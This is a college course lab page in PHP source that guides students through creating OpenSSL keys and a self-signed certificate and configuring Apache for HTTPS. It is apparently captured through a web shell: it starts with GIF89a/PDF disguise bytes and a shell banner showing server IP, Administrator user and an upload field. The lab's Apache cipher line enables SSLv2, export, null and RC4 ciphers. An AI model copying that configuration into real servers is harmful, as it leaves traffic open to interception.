GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/_Archive/ |
Upload File : |
<? // Lab07.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc'); $assignmentNumber = '7'; $assignmentType = ""; $assignmentTitle = "Secure Web (Secure Sockets Layer)"; $evaluationType = "Lab"; if ($assignmentType == '') $assignmentType = $evaluationType; $evaluationTitle = $assignmentTitle; if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $week = 12; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; } $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); ?> <p> <fieldset><legend><?=$evaluationType?> Assignment</legend><span class="normal"> <b>This <?=$assignmentType?> is due <?=classDueDate($class['meetingTime'],$class['StartDate'],$week)?>.</b> <ol> <li>Create a folder called <b><?=$evaluationName?></b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> folder. We will use it for all work performed in this lab.</li> <li>Create the certificate signing request (.csr), privacy enhanced mail security certificate (.pem) RSA private key (.key), and the self-signed certificate (.cert). These are used by Apache for SSL (https) connections. <ol type="a"> <li>The <b><?=$_SESSION['userDefaultDrive']?>\Apache2.2\bin\openssl.exe</b> file is used to create these files. It needs a configuration file (openssl.cnf) file in order to run. <br />Check your <b><?=$_SESSION['userDefaultDrive']?>\Apache2.2\conf</b> directory and ensure the openssl.cnf file is there. <ol> <li>Open up a command line window.</li> <li>If you are not on the <b><?=$_SESSION['userDefaultDrive']?>:</b> drive change to that drive with:<code><?=$_SESSION['userDefaultDrive']?></code>:.</li> <li>Change to the \Apache2.2\conf directory with <code>cd \Apache2.2\conf</code>.</li> <li>Check for the presence of the openssl.cnf file with: <code>dir open*</code>.</li> <li>If the file is not there; Download the <a href="Lab07/openssl.cnf">openssl.cnf</a> file and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\conf</b> directory.</li> </ol> </li> <li>Create the certificate signing request (.csr) and privacy enhanced mail security certificate files. <ol> <li>Open a command line window and change drive\directory to <b><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\conf</b>.</li> <li>Enter the command: <code>..\bin\openssl req -config openssl.cnf -new -out <?=$userFullName?>.loc.csr</code> and answer the questions. <br /><kbd>Enter PEM pass phrase:</kbd> [Enter a password you will not forget] <br /><kbd>Verifying - Enter PEM pass phrase:</kbd> [Re-enter the password] <br /><kbd>Country Name (2 letter code) [AU]:</kbd><kbd class="tt">US</kbd> <br /><kbd>State or Province Name (full name) [Some-State]:</kbd><kbd class="tt">Minnesota</kbd> <br /><kbd>Locality Name (eg, city) []:</kbd><kbd class="tt">Hutchinson</kbd> <br /><kbd>Organization Name (eg, company) [Internet Widgits Pty Ltd]:</kbd><kbd class="tt"><?=$_SESSION['userFullName']?>, Inc.</kbd> [Usually the company name] <br /><kbd>Organizational Unit Name (eg, section) []:</kbd> [You can leave this blank. It is used for sub-organization identification] <br /><kbd>Common Name (eg, YOUR name) []:</kbd><kbd class="tt"><?=$_SESSION['userFullName']?></kbd> <br /><kbd>Email Address []:</kbd><kbd class="tt"><?=$_SESSION['userEmail']?></kbd> [Enter your email address] <br /><kbd>A challenge password []:</kbd><kbd class="tt"></kbd> [Leave blank] <br /><kbd>An optional company name []:</kbd><kbd class="tt"></kbd> [Leave blank] <br />You should now see the <b><?=$userFullName?>.loc.csr</b> and <b>privkey.pem</b> files in your <b><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\conf</b> directory. <!--<br /> If you get an error or errors similar to:<br /> <kbd>error on line -1 of openssl.cnf<br /> 1580:error:02001002:system library:fopen:No such file or directory:.\crypto\bio\bss_file.c:122:fopen('openssl.cnf','rb') </kbd><br /> Copy the <code><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\conf\openssl.cnf</code> to <code><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\bin\openssl.cnf</code> and try again. --> </li> </ol> </li> <li>Create the RSA private key (.key) file. <ol> <li>Enter the command: <code>..\bin\openssl rsa -in privkey.pem -out <?=$userFullName?>.loc.key</code> and enter the PEM pass phrase from above. <br /><kbd>Enter pass phrase for privkey.pem:</kbd><kbd class="tt"></kbd> [Enter the password you used for the PEM pass phrase above] <br />You should now see the <b><?=$userFullName?>.loc.key</b> file in your <b><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\conf</b> directory.</li> </li> </ol> </li> <li>Create the self-signed certificate (.cert) file. <ol> <li>Enter the command: <code>..\bin\openssl x509 -in <?=$userFullName?>.loc.csr -out <?=$userFullName?>.loc.cert -req -signkey <?=$userFullName?>.loc.key -days 365</code> <br /><kbd>Enter pass phrase for privkey.pem:</kbd><kbd class="tt"></kbd> [Enter the password you used for the PEM pass phrase above] <br />You should now see the <b><?=$userFullName?>.loc.cert</b> file in your <b><?=$_SESSION['userDefaultDrive']?>:\Apache2.2\conf</b> directory.</li> </li> </ol> </li> <li>Copy the <b>privkey.pem</b>, <b><?=$userFullName?>.loc.cert</b>, <b><?=$userFullName?>.loc.csr</b>, and <b><?=$userFullName?>.loc.key</b> files into your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. </li> </ol> </li> <li>Configure Apache to use SSL. <ol type="i"> <li>Edit your Apache httpd.conf file and enter the following lines: <pre class="samp"> #Lab07 LoadModule ssl_module modules/mod_ssl.so <IfModule ssl_module> Listen 443 AddType application/x-x509-ca-cert .crt AddType application/x-pkcs7-crl .crl SSLPassPhraseDialog builtin SSLSessionCache "shmcb:D:/Apache2.2/logs/ssl_scache(512000)" SSLSessionCacheTimeout 300 SSLMutex default <VirtualHost 127.0.0.1:443> DocumentRoot D:/Data_WWW/CST1611/Lab07 ServerName <?=$userFullName?>.loc ErrorLog logs/<?=$userFullName?>.loc.ssl.Error.log CustomLog logs/<?=$userFullName?>.loc.ssl.Access.log common SSLEngine on SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL SSLCertificateFile "D:/Data_WWW/CST1611/Lab07/<?=$userFullName?>.loc.cert" SSLCertificateKeyFile "D:/Data_WWW/CST1611/Lab07/<?=$userFullName?>.loc.key" <Directory D:/Data_WWW/CST1611/Lab07/> Options All +MultiViews DirectoryIndex <?=$userFullName?>.html <?=$userFullName?>.txt AllowOverride All Order allow,deny Allow from all </Directory> </VirtualHost> #Include conf/extra/httpd-ssl.conf SSLRandomSeed startup builtin SSLRandomSeed connect builtin </IfModule></pre> </li> <li>Save your changes.</li> <li>Download <b><a href="<?=$evaluationName?>/<?=$evaluationName?>-https.php"><?=$userFullName?>-https.html</a></b> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> directory.</li> <li>Verify that your SSL configuration works. <ol type="A"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter https://<?=$userFullName?>.loc in the address bar.</li> <li>Hit enter.</li> <li>Follow the steps to OK the certificate.</li> <li>Click on the <?=$userFullName?>-https.html file</li> <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>-html.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder</li> </ol> </li> </ol> <li>Turn in <b><?=$evaluationName?></b> for grading. <ol type="A"> <li>Copy your Apache <b>httpd.conf</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li> <li>Copy your <b>C:\Windows\system32\drivers\etc\hosts</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li> <li>Zip up your Data_WWW directory into a file named <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b>.</li> <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b>CST1611 - <?=$evaluationName?> Submission</b> and attach your <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b> file.</li> </ol> </li> </ol> </span> </fieldset> <fieldset><legend>Grading Criteria</legend><span class="normal"> Demonstrated assignment effectively: 10 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt. </span></fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>